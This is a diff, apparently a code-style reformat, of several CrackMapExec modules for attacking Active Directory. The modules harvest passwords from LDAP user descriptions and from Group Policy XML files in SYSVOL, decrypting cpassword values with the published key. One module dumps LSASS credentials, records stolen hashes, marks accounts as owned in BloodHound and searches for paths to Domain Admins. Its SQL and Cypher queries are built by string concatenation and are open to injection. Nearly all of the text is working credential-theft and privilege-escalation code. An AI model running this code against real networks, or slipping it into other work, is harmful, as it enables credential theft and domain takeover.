if 'PASSWORDPOLICY' in module_options:
|
||||
if "FILTER" in module_options:
|
||||
self.FILTER = module_options["FILTER"]
|
||||
if "MINLENGTH" in module_options:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -41,13 +42,15 @@ class CMEModule:
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['sAMAccountName','description'],
|
||||
sizeLimit=0)
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
@@ -57,33 +60,33 @@ class CMEModule:
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug('Total of records returned %d' % len(resp))
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ''
|
||||
description = ''
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'description':
|
||||
description = attribute['vals'][0]
|
||||
if sAMAccountName != '' and description != '':
|
||||
answers.append([sAMAccountName,description])
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = attribute["vals"][0]
|
||||
if sAMAccountName != "" and description != "":
|
||||
answers.append([sAMAccountName, description])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
answers = self.filter_answer(context, answers)
|
||||
if len(answers) > 0:
|
||||
context.log.success('Found following users: ')
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1]))
|
||||
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
if self.FILTER == '' and not self.PASSWORDPOLICY:
|
||||
if self.FILTER == "" and not self.PASSWORDPOLICY:
|
||||
context.log.debug("No filter option enabled")
|
||||
return answers
|
||||
answersFiltered = []
|
||||
@@ -93,21 +96,21 @@ class CMEModule:
|
||||
conditionFilter = False
|
||||
description = str(answer[1])
|
||||
# Filter
|
||||
if self.FILTER != '':
|
||||
if self.FILTER != "":
|
||||
conditionFilter = False
|
||||
if self.FILTER in description:
|
||||
conditionFilter = True
|
||||
|
||||
|
||||
# Password policy
|
||||
if self.PASSWORDPOLICY:
|
||||
conditionPasswordPolicy = False
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy):
|
||||
answersFiltered.append([answer[0],description])
|
||||
|
||||
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0],description])
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
|
||||
answersFiltered.append([answer[0],description])
|
||||
answersFiltered.append([answer[0], description])
|
||||
return answersFiltered
|
||||
|
||||
@@ -5,17 +5,18 @@ from datetime import datetime
|
||||
from cme.helpers.logger import write_log
|
||||
import json
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Uses WMI to extract network connections, used to find multi-homed hosts.
|
||||
Module by @fang0654
|
||||
Uses WMI to extract network connections, used to find multi-homed hosts.
|
||||
Module by @fang0654
|
||||
|
||||
"""
|
||||
|
||||
name = 'get_netconnections'
|
||||
description = 'Uses WMI to query network connections.'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -25,16 +26,14 @@ class CMEModule:
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
data = []
|
||||
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
for c in cards:
|
||||
if c['IPAddress'].get('value'):
|
||||
if c["IPAddress"].get("value"):
|
||||
context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
|
||||
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = "network-connections-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display("Saved raw output to {}".format(log_name))
|
||||
|
||||
|
||||
@@ -4,60 +4,59 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
|
||||
Module by @byt3bl33d3r
|
||||
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = 'gpp_autologin'
|
||||
description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.'
|
||||
supported_protocols = ['smb']
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share['name'] == 'SYSVOL' and 'READ' in share['access']:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
|
||||
context.log.success('Found SYSVOL share')
|
||||
context.log.display('Searching for Registry.xml')
|
||||
|
||||
paths = connection.spider('SYSVOL', pattern=['Registry.xml'])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
for path in paths:
|
||||
context.log.display('Found {}'.format(path))
|
||||
context.log.display("Found {}".format(path))
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile('SYSVOL', path, buf.write)
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
domains = []
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
if attrs['name'] == 'DefaultPassword':
|
||||
passwords.append(attrs['value'])
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs['name'] == 'DefaultUserName':
|
||||
usernames.append(attrs['value'])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs['name'] == 'DefaultDomainName':
|
||||
domains.append(attrs['value'])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success('Found credentials in {}'.format(path))
|
||||
context.log.highlight('Usernames: {}'.format(usernames))
|
||||
context.log.highlight('Domains: {}'.format(domains))
|
||||
context.log.highlight('Passwords: {}'.format(passwords))
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Usernames: {}".format(usernames))
|
||||
context.log.highlight("Domains: {}".format(domains))
|
||||
context.log.highlight("Passwords: {}".format(passwords))
|
||||
|
||||
+60
-42
@@ -7,89 +7,107 @@ from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
|
||||
Module by @byt3bl33d3r
|
||||
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name = 'gpp_password'
|
||||
description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
|
||||
supported_protocols = ['smb']
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share['name'] == 'SYSVOL' and 'READ' in share['access']:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
context.log.success('Found SYSVOL share')
|
||||
context.log.display('Searching for potential XML files containing passwords')
|
||||
|
||||
paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display('Found {}'.format(path))
|
||||
context.log.display("Found {}".format(path))
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile('SYSVOL', path, buf.write)
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if 'Groups.xml' in path:
|
||||
sections.append('./User/Properties')
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif 'Services.xml' in path:
|
||||
sections.append('./NTService/Properties')
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif 'ScheduledTasks.xml' in path:
|
||||
sections.append('./Task/Properties')
|
||||
sections.append('./ImmediateTask/Properties')
|
||||
sections.append('./ImmediateTaskV2/Properties')
|
||||
sections.append('./TaskV2/Properties')
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.append("./Task/Properties")
|
||||
sections.append("./ImmediateTask/Properties")
|
||||
sections.append("./ImmediateTaskV2/Properties")
|
||||
sections.append("./TaskV2/Properties")
|
||||
|
||||
elif 'DataSources.xml' in path:
|
||||
sections.append('./DataSource/Properties')
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif 'Printers.xml' in path:
|
||||
sections.append('./SharedPrinter/Properties')
|
||||
|
||||
elif 'Drives.xml' in path:
|
||||
sections.append('./Drive/Properties')
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if 'cpassword' in props:
|
||||
for user_tag in ['userName', 'accountName', 'runAs', 'username']:
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props['cpassword'])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success('Found credentials in {}'.format(path))
|
||||
context.log.highlight('Password: {}'.format(password))
|
||||
for k,v in props.items():
|
||||
if k != 'cpassword':
|
||||
context.log.highlight('{}: {}'.format(k, v))
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Password: {}".format(password))
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight("{}: {}".format(k, v))
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
|
||||
#Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
||||
key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
|
||||
key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
|
||||
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
|
||||
password = b64decode(cpassword)
|
||||
IV = "\x00" * 16
|
||||
|
||||
@@ -7,16 +7,16 @@ from impacket.ldap import ldap as ldap_impacket
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Created as a contributtion from HackTheBox Academy team for CrackMapExec
|
||||
Reference: https://academy.hackthebox.com/module/details/84
|
||||
Created as a contributtion from HackTheBox Academy team for CrackMapExec
|
||||
Reference: https://academy.hackthebox.com/module/details/84
|
||||
|
||||
Module by @juliourena
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
Module by @juliourena
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
"""
|
||||
|
||||
name = 'groupmembership'
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ['ldap']
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -26,13 +26,13 @@ class CMEModule:
|
||||
"""
|
||||
|
||||
self.user = ""
|
||||
if 'USER' in module_options:
|
||||
if module_options['USER'] == "":
|
||||
context.log.fail('Invalid value for USER option!')
|
||||
if "USER" in module_options:
|
||||
if module_options["USER"] == "":
|
||||
context.log.fail("Invalid value for USER option!")
|
||||
exit(1)
|
||||
self.user = module_options['USER']
|
||||
self.user = module_options["USER"]
|
||||
else:
|
||||
context.log.fail('Missing USER option, use --options to list available parameters')
|
||||
context.log.fail("Missing USER option, use --options to list available parameters")
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -41,13 +41,15 @@ class CMEModule:
|
||||
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['memberOf','primaryGroupID'],
|
||||
sizeLimit=0)
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
@@ -57,32 +59,32 @@ class CMEModule:
|
||||
return False
|
||||
|
||||
memberOf = []
|
||||
primaryGroupID = ''
|
||||
primaryGroupID = ""
|
||||
|
||||
context.log.debug('Total of records returned %d' % len(resp))
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'primaryGroupID':
|
||||
primaryGroupID = attribute['vals'][0]
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "primaryGroupID":
|
||||
primaryGroupID = attribute["vals"][0]
|
||||
# Hardcode value for Domain Users primary Group ID 513
|
||||
# For future improvement maybe we can query the primary ID value
|
||||
# Reference: https://social.technet.microsoft.com/Forums/Azure/en-US/373febac-665c-494d-91f7-834541c74bee/cant-get-all-member-objects-from-domain-users-in-ldap?forum=winserverDS
|
||||
if str(primaryGroupID) == "513":
|
||||
if str(primaryGroupID) == "513":
|
||||
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
|
||||
elif str(attribute['type']) == 'memberOf':
|
||||
for group in attribute['vals']:
|
||||
elif str(attribute["type"]) == "memberOf":
|
||||
for group in attribute["vals"]:
|
||||
if isinstance(group._value, bytes):
|
||||
memberOf.append(str(group))
|
||||
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
if len(memberOf) > 0:
|
||||
context.log.success(u'User: {} is member of following groups: '.format(self.user))
|
||||
context.log.success("User: {} is member of following groups: ".format(self.user))
|
||||
for group in memberOf:
|
||||
# Split the string on the "," character to get a list of the group name and parent group names
|
||||
group_parts = group.split(",")
|
||||
@@ -92,4 +94,4 @@ class CMEModule:
|
||||
group_name = group_parts[0].split("=")[1]
|
||||
|
||||
# print("Group name: %s" % group_name)
|
||||
context.log.highlight(u'{}'.format(group_name))
|
||||
context.log.highlight("{}".format(group_name))
|
||||
|
||||
+24
-22
File diff suppressed because one or more lines are too long
+84
-55
@@ -18,7 +18,7 @@ reported_da = []
|
||||
|
||||
|
||||
def neo4j_conn(context, connection, driver):
|
||||
if connection.config.get('BloodHound', 'bh_enabled') != "False":
|
||||
if connection.config.get("BloodHound", "bh_enabled") != "False":
|
||||
context.log.display("Connecting to Neo4j/Bloodhound.")
|
||||
try:
|
||||
session = driver.session()
|
||||
@@ -40,8 +40,7 @@ def neo4j_local_admins(context, driver):
|
||||
global admin_results
|
||||
try:
|
||||
session = driver.session()
|
||||
admins = session.run(
|
||||
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||
context.log.success("Admins and PCs obtained.")
|
||||
except Exception:
|
||||
context.log.fail("Could not pull admins")
|
||||
@@ -50,54 +49,64 @@ def neo4j_local_admins(context, driver):
|
||||
|
||||
|
||||
def create_db(local_admins, dbconnection, cursor):
|
||||
cursor.execute(
|
||||
'''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''')
|
||||
cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""")
|
||||
for result in local_admins:
|
||||
cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
|
||||
(result.get('COMPUTER'), str(result.get('USERS'), ), 'FALSE'))
|
||||
cursor.execute(
|
||||
"INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
|
||||
(
|
||||
result.get("COMPUTER"),
|
||||
str(
|
||||
result.get("USERS"),
|
||||
),
|
||||
"FALSE",
|
||||
),
|
||||
)
|
||||
dbconnection.commit()
|
||||
cursor.execute('''CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)''')
|
||||
cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""")
|
||||
admin_users = []
|
||||
for result in local_admins:
|
||||
for user in result.get('USERS'):
|
||||
for user in result.get("USERS"):
|
||||
if user not in admin_users:
|
||||
admin_users.append(user)
|
||||
for user in admin_users:
|
||||
cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user])
|
||||
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
|
||||
dbconnection.commit()
|
||||
|
||||
|
||||
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
|
||||
if connection.args.local_auth:
|
||||
context.log.extra['host'] = connection.conn.getServerDNSDomainName()
|
||||
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
context.log.extra['host'] = connection.domain
|
||||
context.log.extra['hostname'] = connection.host.upper()
|
||||
context.log.extra["host"] = connection.domain
|
||||
context.log.extra["hostname"] = connection.host.upper()
|
||||
for result in credentials_data:
|
||||
username = result["username"].upper().split('@')[0]
|
||||
username = result["username"].upper().split("@")[0]
|
||||
nthash = result["nthash"]
|
||||
password = result["password"]
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(
|
||||
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0':
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(
|
||||
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run(
|
||||
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = [record for record in path_to_da.data()]
|
||||
|
||||
for path in paths:
|
||||
@@ -105,9 +114,9 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
for key, value in path.items():
|
||||
for item in value:
|
||||
if type(item) == dict:
|
||||
if {item['name']} not in reported_da:
|
||||
if {item["name"]} not in reported_da:
|
||||
context.log.success(f"You have a valid path to DA as {item['name']}.")
|
||||
reported_da.append({item['name']})
|
||||
reported_da.append({item["name"]})
|
||||
exit()
|
||||
|
||||
|
||||
@@ -115,8 +124,14 @@ def initial_run(connection, cursor):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
|
||||
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
|
||||
|
||||
class CMEModule:
|
||||
@@ -139,18 +154,18 @@ class CMEModule:
|
||||
RESET_DUMPED Allows re-dumping of hosts. (Default: False)
|
||||
RESET Reset DB. (Default: False)
|
||||
"""
|
||||
self.method = 'comsvcs'
|
||||
if 'METHOD' in module_options:
|
||||
self.method = module_options['METHOD']
|
||||
self.reset_dumped = module_options.get('RESET_DUMPED', False)
|
||||
self.reset = module_options.get('RESET', False)
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
self.reset_dumped = module_options.get("RESET_DUMPED", False)
|
||||
self.reset = module_options.get("RESET", False)
|
||||
|
||||
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
|
||||
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
|
||||
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
|
||||
# so what we do is define "success" as a logging level, then do nothing with the output
|
||||
logging.addLevelName(25, 'SUCCESS')
|
||||
setattr(logging, 'success', lambda message, *args: ())
|
||||
logging.addLevelName(25, "SUCCESS")
|
||||
setattr(logging, "success", lambda message, *args: ())
|
||||
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
@@ -167,7 +182,7 @@ class CMEModule:
|
||||
nthash=nthash,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain_name
|
||||
domain=domain_name,
|
